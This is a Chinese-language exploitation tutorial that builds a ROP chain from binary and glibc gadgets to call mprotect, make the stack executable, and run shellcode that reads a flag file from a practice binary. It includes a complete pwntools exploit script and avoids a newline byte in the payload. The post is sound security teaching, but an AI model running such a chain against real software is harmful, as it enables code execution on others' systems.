本篇文章会使用一个稍复杂的 gadget,同时解决 gadget 含有换行符带来的问题。

mprotect

之前使用 vmmap 命令的时候会注意到有一列是内存地址的权限,rwx 和文件系统的一致,NX 不可执行就是没有 x 权限,当然这不是绝对的,使用 mprotect 可以修改这个权限,这样的话,就可以在栈上执行 shellcode 了。

gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/virusdefender/Desktop/pwn/new/vuln
0x00600000         0x00601000         r--p	/home/virusdefender/Desktop/pwn/new/vuln
0x00601000         0x00602000         rw-p	/home/virusdefender/Desktop/pwn/new/vuln
0x00602000         0x00623000         rw-p	[heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p	mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fda000 0x00007ffff7fdd000 rw-p	mapped
0x00007ffff7ff6000 0x00007ffff7ff8000 rw-p	mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p	[vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp	[vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]

函数原型是 int mprotect(void *addr, size_t len, int prot);addr 是内存地址开头,len 是长度,prot 就是权限位,在 manpage 上有 PROT_WRITEPROT_EXECPROT_READ 等几项,权限是位运算之后的数字,根据宏定义, rwx 就是 0x1 | 0x2 | 0x4

需要注意的是 mprotect 修改的内存的起始地址必须和内存页对齐,范围也必须是内存页大小的整数倍,否则系统调用会失败,详见 manpage。getconf PAGESIZE 可以获取内存页大小,默认是 4096

ROP 构造 gadget

mprotecct 有三个参数,就会使用 rdi, rsi, rdx 寄存器。如果想让整个栈区可执行的话,在 vmmap 可以获取栈区的开头和结尾地址,那三个寄存器的值就分别是 0x00007ffffffde0000x00007ffffffff000 - 0x00007ffffffde0000x1 | 0x2 | 0x4。然后在调用 mproect 系统系统调用的时候,rax 寄存器是系统调用号 0xa。所以按照之前的文章,只要能找到下面这些 gadget 就可以了。

pop rdi; ret;
pop rsi; ret;
pop rdx; ret;
pop rax; ret;
syscall; ret;

但是有些事情总不会太直接,能在二进制文件中只能找到两个 gadget,其中第二个有一个寄存器是没用的,但是并不影响。

➜  new ROPgadget --binary vuln | grep "pop rdi"
0x0000000000400803 : pop rdi ; ret

➜  new ROPgadget --binary vuln | grep "pop rsi"
0x0000000000400801 : pop rsi ; pop r15 ; ret

这个时候可以去 glibc 中找了。

# 这个文件处理比较慢,可以先保存下结果
➜  new ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 > libc.gadget

➜  new grep "pop rdx ; ret" libc.gadget
0x0000000000001b92 : pop rdx ; ret

➜  new grep "pop rax ; ret" libc.gadget
0x0000000000033542 : add al, ch ; pop rax ; ret

➜  new grep "syscall ; ret" libc.gadget
0x00000000000bc375 : syscall ; ret

如果已知 glibc 的加载基址,使用基址加上上面的地址就可以了,这个基址目前可以在 vmmap 或者 ldd 中看到。

0xa

如果按照上面的说法直接写 shellcode,会发现栈上的数据并不全,再认真的调试就会发现,shellcode 中含有 0xa,也就是 \n 的 ascii,因为 shellcode 是 gets 读入的,所以就会在这里被截断。

我选择了先 pop rax0x9,然后 add rax, 1; ret 的 gadget。

➜  new grep "add rax, 1 ; ret" libc.gadget
0x00000000000abf40 : add rax, 1 ; ret

shellcode

from pwn import *

student = 0x7fffffffe2f0
shellcode = "1925\n"
cat = asm(shellcraft.amd64.linux.cat("flag"), arch="amd64", os="linux")
shellcode += cat + "A" * (0x7fffffffe348 - student - len(cat))

# pop rdi; ret
shellcode += p64(0x0000000000400803)
# mprotect arg1 addr -> rdi
shellcode += p64(0x00007ffffffde000)

# pop rsi; pop r15; ret;
shellcode += p64(0x0000000000400801)
# mprotect arg2 size -> rsi
shellcode += p64(0x00007ffffffff000 - 0x00007ffffffde000)
# -> r15
shellcode += p64(0)

libc_base = 0x00007ffff7a0d000

# pop rdx; ret;
shellcode += p64(libc_base + 0x0000000000001b92)
# mprotect arg3 rwx -> rdx
shellcode += p64(0x1 | 0x2 | 0x4)

# pop rax; ret
shellcode += p64(libc_base + 0x0000000000033544)
# -> rax
shellcode += p64(0xa - 1)

# add rax, 1; ret
shellcode += p64(libc_base + 0x00000000000abf40)

# syscalll; ret
shellcode += p64(libc_base + 0x00000000000bc375)

# shellcode
shellcode += p64(student)

print shellcode

运行后可以看到栈区的内存已经是 rwx 的权限了。

0x00007ffffffde000 0x00007ffffffff000 rwxp	[stack]